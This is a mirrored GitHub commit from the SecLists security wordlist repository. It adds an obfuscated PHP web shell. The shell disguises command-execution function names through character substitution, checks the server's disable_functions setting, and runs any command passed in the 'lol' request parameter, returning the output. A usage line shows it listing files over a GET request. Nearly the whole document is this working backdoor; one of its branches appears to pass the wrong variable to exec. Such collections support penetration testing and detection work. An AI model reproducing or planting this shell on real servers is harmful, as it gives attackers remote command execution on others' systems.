mirror of
https://github.com/danielmiessler/SecLists.git
synced 2024-10-26 10:10:08 +03:00
Merge pull request #709 from azams/master
Add another obfuscated php shell and check the disable_functions.
This commit is contained in:
commit
839b262087
14
Web-Shells/PHP/another-obfuscated-phpshell.php
Normal file
14
Web-Shells/PHP/another-obfuscated-phpshell.php
Normal file
@ -0,0 +1,14 @@
|
||||
<?php // Usage example: GET /another_obfuscated_phpshell.php?lol=ls%20-al
|
||||
$S=array(m("ncoai","msyte", "cocain"),m("sir","cex","iris"),m("otab","lshe","taboo")."_".m("sir","cex","iris"),m("gbledin","upasthr","bleeding"));
|
||||
$TR=m("etroubl","edisabl","trouble");$MK=m("dpreambl","sfunctio","preambled");$D=explode(",",ini_get($TR.'_'.$MK));$P=$_REQUEST;
|
||||
function m($a,$b,$c) {return str_replace(str_split($a), str_split($b), $c);}
|
||||
foreach($S as $A) {
|
||||
if(!in_array($A, $D)) {
|
||||
if($A == m("ncoai","msyte","cocain")) $A($P['lol']);
|
||||
elseif($A == m("sir","cex","iris")) {
|
||||
exec("$P 2>&1", $arr);
|
||||
echo join("\n",$arr)."\n";
|
||||
} else echo $A($P['lol']);
|
||||
exit;
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue
Block a user